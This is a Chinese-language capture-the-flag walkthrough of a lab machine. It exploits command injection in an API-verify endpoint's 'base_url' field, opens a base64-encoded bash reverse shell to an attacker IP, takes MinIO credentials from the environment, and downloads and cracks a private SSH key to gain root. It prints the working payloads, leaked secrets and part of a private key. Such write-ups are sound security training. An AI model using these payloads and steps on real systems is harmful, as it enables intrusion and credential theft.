cu6l

```
靶机：cu6l
作者：Yliken
靶机ID: 592
系统：Linux
难度：Easy
```

端口扫描

```
┌──(root㉿kali)-[~]
└─# ./rustscan -a 192.168.44.205
.----. .-. .-. .----..---.  .----. .---.   .--.  .-. .-.
| {}  }| { } |{ {__ {_   _}{ {__  /  ___} / {} \ |  `| |
| .-. \| {_} |.-._} } | |  .-._} }\     }/  /\  \| |\  |
`-' `-'`-----'`----'  `-'  `----'  `---' `-'  `-'`-' `-'
The Modern Day Port Scanner.

________________________________________
: http://discord.skerritt.blog         :
: https://github.com/RustScan/RustScan :
 --------------------------------------
🌍HACK THE PLANET🌍

[~] The config file is expected to be at "/root/.rustscan.toml"
[!] File limit is lower than default batch size. Consider upping with --ulimit. May cause harm
 to sensitive servers
[!] Your file limit is very small, which negatively impacts RustScan's speed. Use the Docker i
mage, or up the Ulimit with '--ulimit 5000'.
Open 192.168.44.205:22
Open 192.168.44.205:80
[~] Starting Script(s)
[~] Starting Nmap 7.94SVN ( https://nmap.org ) at 2026-02-26 22:19 EST
Initiating ARP Ping Scan at 22:19
Scanning 192.168.44.205 [1 port]
Completed ARP Ping Scan at 22:19, 0.04s elapsed (1 total hosts)
Initiating Parallel DNS resolution of 1 host. at 22:19
Completed Parallel DNS resolution of 1 host. at 22:19, 0.23s elapsed
DNS resolution of 1 IPs took 0.23s. Mode: Async [#: 1, OK: 0, NX: 1, DR: 0, SF: 0, TR: 1, CN:
0]
Initiating SYN Stealth Scan at 22:19
Scanning 192.168.44.205 [2 ports]
Discovered open port 80/tcp on 192.168.44.205
Discovered open port 22/tcp on 192.168.44.205
Completed SYN Stealth Scan at 22:19, 0.01s elapsed (2 total ports)
Nmap scan report for 192.168.44.205
Host is up, received arp-response (0.0022s latency).
Scanned at 2026-02-26 22:19:01 EST for 0s

PORT   STATE SERVICE REASON
22/tcp open  ssh     syn-ack ttl 64
80/tcp open  http    syn-ack ttl 64
MAC Address: 00:0C:29:43:7E:48 (VMware)
```

域名绑定

```
┌──(root㉿kali)-[~]
└─# curl 192.168.44.205
<!DOCTYPE html><html lang="zh-CN"><head><meta charset="UTF-8"><meta name="viewport" content="w
idth=device-width, initial-scale=1.0"><title>请使用域名访问</title><style>*{margin:0;padding:0
;box-sizing:border-box}body{font-family:-apple-system,BlinkMacSystemFont,"Segoe UI",Roboto,san
s-serif;background:#f5f5f5;display:flex;align-items:center;justify-content:center;min-height:1
00vh;padding:20px}.container{max-width:600px;background:white;padding:40px;border-radius:8px;b
ox-shadow:0 2px 10px rgba(0,0,0,0.1);text-align:center}.icon{font-size:64px;margin-bottom:20px
}h1{color:#333;margin-bottom:15px;font-size:28px}p{color:#666;line-height:1.6;margin-bottom:10
px}info{background:#e7f3ff;padding:15px;border-radius:4px;margin:20px 0;color:#0056b3}code{bac
kground:#f5f5f5;padding:2px 6px;border-radius:3px;font-family:"Courier New",monospace;color:#d
63384}</style></head><body><div class="container"><div class="icon">🌐</div><h1>请使用域名访问
</h1><p>为了更好的用户体验和安全性，请使用域名访问本网站。</p><div class="info"><strong>访问示
例：</strong><br><code>http://cu6l.dsz</code><br><code>http://www.cu6l.dsz</code></div><p>如果
您是网站管理员，请检查 Nginx 配置文件中的 <code>server_name</code> 设置。</p></div></body></ht
ml>

┌──(root㉿kali)-[~]
└─# vim /etc/hosts
```

web探测

```
curl http://cu6l.dsz
```

```
<script>
        const API_BASE = '/api';
        let currentAPIId = null;
        let sessionId = 'session-' + Date.now();
        let apis = [];

        function showNotification(message, type) {
            const notification = document.getElementById('notification');
            notification.textContent = message;
            notification.className = 'notification ' + type + ' show';

            setTimeout(() => {
                notification.classList.remove('show');
            }, 3000);
        }

        async function createAPI() {
            const name = document.getElementById('apiName').value.trim();
            const baseUrl = document.getElementById('apiBaseUrl').value.trim();
            const apiKey = document.getElementById('apiKey').value.trim();
            const model = document.getElementById('apiModel').value.trim();
            const headersText =
document.getElementById('apiHeaders').value.trim();

            if (!name || !baseUrl || !apiKey || !model) {
                showNotification('请填写所有必填字段', 'error');
                return;
            }

            let headers = {};
            if (headersText) {
                try {
```

```
                headers = JSON.parse(headersText);
            } catch (e) {
                showNotification('Headers 格式错误，请使用有效的 JSON 格式',
'error');
                return;
            }
        }

        try {
            const response = await fetch(`${API_BASE}/apis`, {
                method: 'POST',
                headers: { 'Content-Type': 'application/json' },
                body: JSON.stringify({
                    name,
                    base_url: baseUrl,
                    api_key: apiKey,
                    model,
                    headers
                })
            });

            if (response.ok) {
                showNotification('API 配置成功', 'success');
                clearForm();
                loadAPIs();
            } else {
                showNotification('API 配置失败', 'error');
            }
        } catch (error) {
            showNotification('网络错误: ' + error.message, 'error');
        }
    }

    async function loadAPIs() {
        try {
            const response = await fetch(`${API_BASE}/apis`);
            apis = await response.json();

            const apiList = document.getElementById('apiList');
            apiList.innerHTML = '';

            apis.forEach(api => {
                const item = document.createElement('div');
                item.className = `api-item ${currentAPIId === api.id ?
'active' : ''}`;
                item.innerHTML = `
                    <h3>${api.name}</h3>
                    <p>${api.model}</p>
                    <p>${api.base_url.substring(0, 30)}...</p>
                    <div class="actions">
                        <button class="btn-primary"
onclick="selectAPI('${api.id}')">选择</button>
                        <button class="btn-danger"
onclick="deleteAPI('${api.id}')">删除</button>
                    </div>
                `;
```

```
                    apiList.appendChild(item);
                });
            } catch (error) {
                console.error('加载API列表失败:', error);
            }
        }

        function selectAPI(apiId) {
            currentAPIId = apiId;

            const api = apis.find(a => a.id === apiId);
            if (api) {
                document.getElementById('currentAPI').textContent = `当前使用:
${api.name} (${api.model})`;

                document.getElementById('apiName').value = api.name || '';
                document.getElementById('apiBaseUrl').value = api.base_url || '';
                document.getElementById('apiKey').value = api.api_key || '';
                document.getElementById('apiModel').value = api.model || '';
                document.getElementById('apiHeaders').value =
Object.keys(api.headers || {}).length > 0 ? JSON.stringify(api.headers, null, 2)
: '';
            }
            loadAPIs();
        }

        function findAPI(apiId) {
            return apis.find(a => a.id === apiId);
        }

        async function deleteAPI(apiId) {
            if (!confirm('确定要删除这个API配置吗？')) return;

            try {
                const response = await fetch(`${API_BASE}/apis/${apiId}`, {
                    method: 'DELETE'
                });

                if (response.ok) {
                    showNotification('API 已删除', 'success');
                    if (currentAPIId === apiId) {
                        currentAPIId = null;
                        document.getElementById('currentAPI').textContent = '请先
选择一个API';
                    }
                    loadAPIs();
                } else {
                    showNotification('删除失败', 'error');
                }
            } catch (error) {
                showNotification('网络错误: ' + error.message, 'error');
            }
        }

        async function verifyAPI() {
            const baseUrl = document.getElementById('apiBaseUrl').value.trim();
```

```
            const apiKey = document.getElementById('apiKey').value.trim();
            const model = document.getElementById('apiModel').value.trim();
            const headersText =
document.getElementById('apiHeaders').value.trim();

            if (!baseUrl || !apiKey || !model) {
                showNotification('请填写 Base URL、API Key 和 Model 字段',
'error');
                return;
            }

            let headers = {};
            if (headersText) {
                try {
                    headers = JSON.parse(headersText);
                } catch (e) {
                    showNotification('Headers 格式错误', 'error');
                    return;
                }
            }

            try {
                const response = await fetch(`${API_BASE}/verify`, {
                    method: 'POST',
                    headers: { 'Content-Type': 'application/json' },
                    body: JSON.stringify({
                        base_url: baseUrl,
                        api_key: apiKey,
                        model,
                        headers
                    })
                });

                const result = await response.json();

                if (result.success) {
                    showNotification('API 验证成功！', 'success');
                    console.log('验证结果:', result.data);
                } else {
                    showNotification('API 验证失败：' + result.error, 'error');
                    console.error('验证失败:', result.error);
                }
            } catch (error) {
                showNotification('网络错误：' + error.message, 'error');
            }
        }

        async function sendMessage() {
            const input = document.getElementById('messageInput');
            const message = input.value.trim();

            if (!message) return;

            if (!currentAPIId) {
                showNotification('请先选择一个API配置', 'error');
                return;
```

```
            }

            addMessage(message, 'user');
            input.value = '';

            document.getElementById('loading').classList.add('show');

            try {
                const response = await fetch(`${API_BASE}/chat`, {
                    method: 'POST',
                    headers: { 'Content-Type': 'application/json' },
                    body: JSON.stringify({
                        api_id: currentAPIId,
                        message: message,
                        session_id: sessionId
                    })
                });

                const result = await response.json();

                document.getElementById('loading').classList.remove('show');

                if (response.ok) {
                    addMessage(result.message, 'assistant');
                } else {
                    showNotification('发送消息失败：' + result.error, 'error');
                    addMessage('错误：' + result.error, 'assistant');
                }
            } catch (error) {
                document.getElementById('loading').classList.remove('show');
                showNotification('网络错误：' + error.message, 'error');
                addMessage('错误：' + error.message, 'assistant');
            }
        }

        function addMessage(content, type) {
            const chatMessages = document.getElementById('chatMessages');
            const messageDiv = document.createElement('div');
            messageDiv.className = `message ${type}`;

            const time = new Date().toLocaleTimeString();

            if (type === 'user') {
                const avatarUrl = getUserAvatar();
                const avatarHtml = avatarUrl
                    ? `<div class="message-avatar"><img src="${avatarUrl}"
alt="用户头像"></div>`
                    : `<div class="message-avatar">👤</div>`;

                messageDiv.innerHTML = `
                    ${avatarHtml}
                    <div class="message-content">
                        <div class="content">${content}</div>
                        <div class="time">${time}</div>
                    </div>
                `;
```

```
            } else {
                messageDiv.innerHTML = `
                    <div class="message-content">
                        <div class="content">${content}</div>
                        <div class="time">${time}</div>
                    </div>
                `;
            }

            chatMessages.insertBefore(messageDiv,
document.getElementById('loading'));
            chatMessages.scrollTop = chatMessages.scrollHeight;
        }

        function handleKeyDown(event) {
            if (event.key === 'Enter' && !event.shiftKey) {
                event.preventDefault();
                sendMessage();
            }
        }

        async function clearSession() {
            if (!confirm('确定要清除当前会话历史吗？')) return;

            try {
                await fetch(`${API_BASE}/sessions/${sessionId}`, {
                    method: 'DELETE'
                });

                const chatMessages = document.getElementById('chatMessages');
                const messages = chatMessages.querySelectorAll('.message');
                messages.forEach(msg => msg.remove());

                sessionId = 'session-' + Date.now();
                showNotification('会话已清除', 'success');

                // 清除头像预览
                document.getElementById('avatarPreview').innerHTML = '<div
class="default-avatar">👤</div>';
            } catch (error) {
                showNotification('清除会话失败：' + error.message, 'error');
            }
        }

        function clearForm() {
            document.getElementById('apiName').value = '';
            document.getElementById('apiBaseUrl').value = '';
            document.getElementById('apiKey').value = '';
            document.getElementById('apiModel').value = '';
            document.getElementById('apiHeaders').value = '';
        }

        async function uploadAvatar(event) {
            const file = event.target.files[0];
            if (!file) return;
```

```
        const formData = new FormData();
        formData.append('file', file);
        formData.append('session_id', sessionId);

        try {
            const response = await fetch(`${API_BASE}/avatar/upload`, {
                method: 'POST',
                body: formData
            });

            const result = await response.json();

            if (result.success) {
                showNotification('头像上传成功', 'success');
                updateAvatarPreview(result.url);
            } else {
                showNotification('头像上传失败: ' + result.error, 'error');
            }
        } catch (error) {
            showNotification('网络错误: ' + error.message, 'error');
        }

        event.target.value = '';
    }

    function updateAvatarPreview(url) {
        const avatarPreview = document.getElementById('avatarPreview');
        avatarPreview.innerHTML = `<img src="${url}" alt="用户头像">`;
    }

    function getAvatarUrl(sessionId) {
        return `${API_BASE}/avatar/${sessionId}`;
    }

    function getUserAvatar() {
        const avatarPreview = document.getElementById('avatarPreview');
        const img = avatarPreview.querySelector('img');
        return img ? img.src : null;
    }

    async function loadAvatar() {
        try {
            const response = await fetch(getAvatarUrl(sessionId));
            if (response.ok) {
                updateAvatarPreview(getAvatarUrl(sessionId));
            }
        } catch (error) {
            console.log('Avatar not found, using default');
        }
    }

    // 初始化
    loadAPIs();
    loadAvatar();
</script>
```

源码审计

查看js源码也有可以自定义url的地方，尝试ssrf再联动执行命令看看能不能达到rce,也就是下面的源码和程序部分

```
try {
                const response = await fetch(`${API_BASE}/verify`, {
                    method: 'POST',
                    headers: { 'Content-Type': 'application/json' },
                    body: JSON.stringify({
                        base_url: baseUrl,
                        api_key: apiKey,
                        model,
                        headers
                    })
                });

                const result = await response.json();

                if (result.success) {
                    showNotification('API 验证成功! ', 'success');
                    console.log('验证结果:', result.data);
                } else {
                    showNotification('API 验证失败: ' + result.error, 'error');
                    console.error('验证失败:', result.error);
                }
            } catch (error) {
                showNotification('网络错误: ' + error.message, 'error');
            }
        }
```

ssrf探测至rce

```
"base_url": "http://127.0.0.1; id; #",
探测内网;执行命令;把可能存在干扰字符注释掉
```

```
curl -X POST http://cu6l.dsz/api/verify \
-H "Content-Type: application/json" \
-d '{
  "base_url": "http://127.0.0.1; id; #",
  "api_key": "test",
  "model": "test"
}'
```

```
┌──(root㉿kali)-[~]
└─# curl -X POST http://cu6l.dsz/api/verify \
-H "Content-Type: application/json" \
-d '{
  "base_url": "http://127.0.0.1; id; #",
  "api_key": "test",
  "model": "test"
}'
{"data":"<!DOCTYPE html><html lang=\"zh-CN\"><head><meta charset=\"UTF-8\"><meta name=\"viewpo
rt\" content=\"width=device-width, initial-scale=1.0\"><title>\u8bf7\u4f7f\u7528\u57df\u540d\u
8bbf\u95ee</title><style>*{margin:0;padding:0;box-sizing:border-box}body{font-family:-apple-sy
stem,BlinkMacSystemFont,\"Segoe UI\",Roboto,sans-serif;background:#f5f5f5;display:flex;align-i
tems:center;justify-content:center;min-height:100vh;padding:20px}.container{max-width:600px;ba
ckground:white;padding:40px;border-radius:8px;box-shadow:0 2px 10px rgba(0,0,0,0.1);text-align
:center}.icon{font-size:64px;margin-bottom:20px}h1{color:#333;margin-bottom:15px;font-size:28p
x}p{color:#666;line-height:1.6;margin-bottom:10px}info{background:#e7f3ff;padding:15px;border-
radius:4px;margin:20px 0;color:#0056b3}code{background:#f5f5f5;padding:2px 6px;border-radius:3
px;font-family:\"Courier New\",monospace;color:#d63384}</style></head><body><div class=\"conta
iner\"><div class=\"icon\">\ud83c\udf10</div><h1>\u8bf7\u4f7f\u7528\u57df\u540d\u8bbf\u95ee</h
1><p>\u4e3a\u4e86\u66f4\u597d\u7684\u7528\u6237\u4f53\u9a8c\u548c\u5b89\u5168\u6027\uff0c\u8bf
7\u4f7f\u7528\u57df\u540d\u8bbf\u95ee\u672c\u7f51\u7ad9\u3002</p><div class=\"info\"><strong>\
u8bbf\u95ee\u793a\u4f8b\uff1a</strong><br><code>http://cu6l.dsz</code><br><code>http://www.cu6
l.dsz</code></div><p>\u5982\u679c\u60a8\u662f\u7f51\u7ad9\u7ba1\u7406\u5458\uff0c\u8bf7\u68c0\
u67e5 Nginx \u914d\u7f6e\u6587\u4ef6\u4e2d\u7684 <code>server_name</code> \u8bbe\u7f6e\u3002</
p></div></body></html>uid=1001(yliken) gid=1001(yliken) groups=1001(yliken)\n","stdout":"<!DOC
TYPE html><html lang=\"zh-CN\"><head><meta charset=\"UTF-8\"><meta name=\"viewport\" content=\
"width=device-width, initial-scale=1.0\"><title>\u8bf7\u4f7f\u7528\u57df\u540d\u8bbf\u95ee</ti
tle><style>*{margin:0;padding:0;box-sizing:border-box}body{font-family:-apple-system,BlinkMacS
ystemFont,\"Segoe UI\",Roboto,sans-serif;background:#f5f5f5;display:flex;align-items:center;ju
stify-content:center;min-height:100vh;padding:20px}.container{max-width:600px;background:white
;padding:40px;border-radius:8px;box-shadow:0 2px 10px rgba(0,0,0,0.1);text-align:center}.icon{
font-size:64px;margin-bottom:20px}h1{color:#333;margin-bottom:15px;font-size:28px}p{color:#666
;line-height:1.6;margin-bottom:10px}info{background:#e7f3ff;padding:15px;border-radius:4px;mar
gin:20px 0;color:#0056b3}code{background:#f5f5f5;padding:2px 6px;border-radius:3px;font-family
:\"Courier New\",monospace;color:#d63384}</style></head><body><div class=\"container\"><div cl
ass=\"icon\">\ud83c\udf10</div><h1>\u8bf7\u4f7f\u7528\u57df\u540d\u8bbf\u95ee</h1><p>\u4e3a\u4
e86\u66f4\u597d\u7684\u7528\u6237\u4f53\u9a8c\u548c\u5b89\u5168\u6027\uff0c\u8bf7\u4f7f\u7528\
u57df\u540d\u8bbf\u95ee\u672c\u7f51\u7ad9\u3002</p><div class=\"info\"><strong>\u8bbf\u95ee\u7
93a\u4f8b\uff1a</strong><br><code>http://cu6l.dsz</code><br><code>http://www.cu6l.dsz</code></
div><p>\u5982\u679c\u60a8\u662f\u7f51\u7ad9\u7ba1\u7406\u5458\uff0c\u8bf7\u68c0\u67e5 Nginx \u
914d\u7f6e\u6587\u4ef6\u4e2d\u7684 <code>server_name</code> \u8bbe\u7f6e\u3002</p></div></body
></html>uid=1001(yliken) gid=1001(yliken) groups=1001(yliken)\n","success":true}

┌──(root㉿kali)-[~]
└─#
```

反弹shell

```
nc -lvnp 4444
echo "YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjQ0LjEyOC80NDQ0IDA+JjE=" | base64 -d |
bash
```

```
curl -X POST http://cu6l.dsz/api/verify \
-H "Content-Type: application/json" \
-d '{
  "base_url": "http://127.0.0.1; echo
'\''YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjQ0LjEyOC80NDQ0IDA+JjE='\'' | base64 -d
| bash; #",
  "api_key": "test",
  "model": "test"
}'
python3 -c 'import pty; pty.spawn("/bin/bash")'
export TERM=xterm
```

MinIO进程

```
For more details see ps(1).
yliken@cu6l:/tmp$ ss -tulnp
ss -tulnp
Netid   State    Recv-Q   Send-Q     Local Address:Port     Peer Address:Port

udp     UNCONN   0        0               0.0.0.0:68           0.0.0.0:*

udp     UNCONN   0        0               0.0.0.0:68           0.0.0.0:*

tcp     LISTEN   0        128             0.0.0.0:80           0.0.0.0:*

tcp     LISTEN   0        128             0.0.0.0:22           0.0.0.0:*

tcp     LISTEN   0        128           127.0.0.1:5000         0.0.0.0:*       users:(("pyth
on3",pid=443,fd=4))
tcp     LISTEN   0        128           127.0.0.1:9000         0.0.0.0:*

tcp     LISTEN   0        128           127.0.0.1:9001         0.0.0.0:*

tcp     LISTEN   0        128               [::]:22              [::]:*

yliken@cu6l:/tmp$
```

```
yliken@cu6l:/tmp$ curl -I http://127.0.0.1:9000
curl -I http://127.0.0.1:9000
HTTP/1.1 400 Bad Request
Accept-Ranges: bytes
Content-Length: 225
Content-Type: application/xml
Server: MinIO
Vary: Origin
Date: Fri, 27 Feb 2026 04:24:39 GMT
```

查看环境变量有没有，这个存储的账号密码之类的信息

```
yliken@cu6l:/tmp$ env
env
SHELL=/bin/bash
MINIO_SECRET_KEY=dszminioadmin-01
PWD=/tmp
LOGNAME=yliken
MINIO_SECURE=false
HOME=/home/yliken
LANG=en_US.UTF-8
MINIO_BUCKET_NAME=avatars
LS_COLORS=
INVOCATION_ID=30633cafbd3541e3b5ee4a20c58001e2
MINIO_ENDPOINT=127.0.0.1:9000
WERKZEUG_SERVER_FD=4
TERM=xterm
USER=yliken
SHLVL=3
JOURNAL_STREAM=9:14169
MINIO_ACCESS_KEY=dszminioadmin
PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
_=/usr/bin/env
OLDPWD=/app/backend
yliken@cu6l:/tmp$
```

```
python3 -c '
from minio import Minio
client = Minio("127.0.0.1:9000", access_key="dszminioadmin",
secret_key="dszminioadmin-01", secure=False)
for bucket in client.list_buckets():
    print(f"\n[+] 发现存储桶: {bucket.name}")
    for obj in client.list_objects(bucket.name, recursive=True):
        print(f"  └── 文件: {obj.object_name}")
'
```

```
./mc ls localminio
bash: ./mc: No such file or directory
yliken@cu6l:/tmp$ wget https://dl.min.io/client/mc/release/linux-amd64/mc
wget https://dl.min.io/client/mc/release/linux-amd64/mc
bash: wget: command not found
yliken@cu6l:/tmp$ python3 -c '
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>
        print(f"  └── 文件: {obj.object_name}")
>


>

> '
'

[+] 发现存储桶: avatars
  └── 文件: session-1770371365222.jpg
  └── 文件: session-1770603327906.jpg
  └── 文件: session-1770603535956.jpg

[+] 发现存储桶: mysecret
  └── 文件: id_rsa
yliken@cu6l:/tmp$ python3 -c '
```

```
python3 -c '
from minio import Minio
client = Minio("127.0.0.1:9000", access_key="dszminioadmin",
secret_key="dszminioadmin-01", secure=False)
try:
    response = client.get_object("mysecret", "id_rsa")
    print("\n================== ID_RSA KEY ==================")
    print(response.read().decode("utf-8"))
    print("==================================================\n")
finally:
    response.close()
    response.release_conn()
'
```

```
  response.release_conn()
python3 -c '
 from minio import Minio
 client = Minio("127.0.0.1:9000", access_key="dszminioadmin", secret_key="dszminioadmin-01",
ecure=False)
 try:
     response = client.get_object("mysecret", "id_rsa")
     print("\n================= ID_RSA KEY =================")
     print(response.read().decode("utf-8"))
     print("=============================================\n")
 finally:
     response.close()
     response.release_conn()
 '
'
'


================ ID_RSA KEY =================
----BEGIN OPENSSH PRIVATE KEY-----
3BlbnNzaC1rZXktdjEAAAAACmFlczI1Ni1jdHIAAAAGYmNyeXB0AAAAGAAAABDqdG+Rw+
vQdFt+6iJVQ9qAAAAEAAAAAEAAAIXAAAAB3NzaC1yc2EAAAADAQABAAACAQDXoperE7aZ
401sQEBhIPHaREv3Dbk0/Hn9EiVKRObCSPQxzeNozcqDlPaJHOZXpSzrtX2gyYaF9LIDO
3Ho3mD5mUKnpCmrIsZAv90SVayKcarG+/7yKwSV9ZVSiaBCgH4s4MhrXTrx+xx98XXlaJ
leDpYlwHmZSFKJszM5ntWIIXQEw08R1HLnlvWGk0bWdvE4btQPOEdiPoocEAYEjyXIrPQ
bN7JPnN7YbCaOvavrs3F8Myk4wZ5OnHk9QV8dI8a/ioxCKpQAzLDX/QVfJUbqULtkt8eM
EAqmcuUvXoHZUtg6B4nJVls7kFe4UG4PQiLHEED+T07P0bBXMsvnenhKmbVOFIEUglx8z
4NtlMfLc6vksDSW2exHIwwK5GHw5ZabQGt2AQQU4lt8aLy7+OOr0mqG36rkM7UV/LZYcy
CgJjbBsXkfuDN0uXa30B0cguPh83ZAXVPrUk8VD1rM+AcpL7xoV7oA/edpL4Er+lGE3tT
9ot6taPuL0kn+HNuT/ec6iFQf+9IDqKvkHTEsL7ZplPlVGv5Q/aLtiiVpQzZS1iZ/rLix
8ecHmKD8cBgOFo2I64/B+6YxATwZkHmr/p9p+m+m0ThBjw1PPLj8hoJ1qPEiz6nsCgYQk
NJaq9NuS3PARodb9PMn8nBsyZM/+VChiR3+JBq3HFYwAAB0CNHM9qbVgeW1H5215ptL+n
5vN5PGaw0HIzoifrVNLc0vpDlbUPyV8KOp7PE6ObpA8dxlUSSMhnmR+Cer0EcMWN2/idW
vq24WL9MJke9BrpDFWWTQ5l5z/n+tQWRACUpw+Yhoja4zHoievNkObFoV2fyCG585CN4t
```

权限提升

```
┌──(root㉿kali)-[~]
└─# vim root_key

┌──(root㉿kali)-[~]
└─# chmod 600 root_key

┌──(root㉿kali)-[~]
└─# ssh -i root_key root@192.168.44.205
Enter passphrase for key 'root_key':
root@192.168.44.205's password:
Permission denied, please try again.
root@192.168.44.205's password:


┌──(root㉿kali)-[~]
└─# ssh2john root_key > root_key.hash

┌──(root㉿kali)-[~]
└─# john --wordlist=/usr/share/wordlists/rockyou.txt root_key.hash
Using default input encoding: UTF-8
Loaded 1 password hash (SSH, SSH private key [RSA/DSA/EC/OPENSSH 32/64])
Cost 1 (KDF/cipher [0=MD5/AES 1=MD5/3DES 2=Bcrypt/AES]) is 2 for all loaded hashes
Cost 2 (iteration count) is 16 for all loaded hashes
Will run 4 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
superman         (root_key)
1g 0:00:00:01 DONE (2026-02-26 23:22) 0.6410g/s 41.02p/s 41.02c/s 41.02C/s purple..charlie
Use the "--show" option to display all of the cracked passwords reliably
Session completed.

┌──(root㉿kali)-[~]
└─# ssh -i root_key root@192.168.44.205
Enter passphrase for key 'root_key':
Linux cu6l 4.19.0-27-amd64 #1 SMP Debian 4.19.316-1 (2024-06-25) x86_64

The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
Last login: Thu Feb 26 22:53:31 2026 from 192.168.44.1
root@cu6l:~# ls
minio  root.txt
```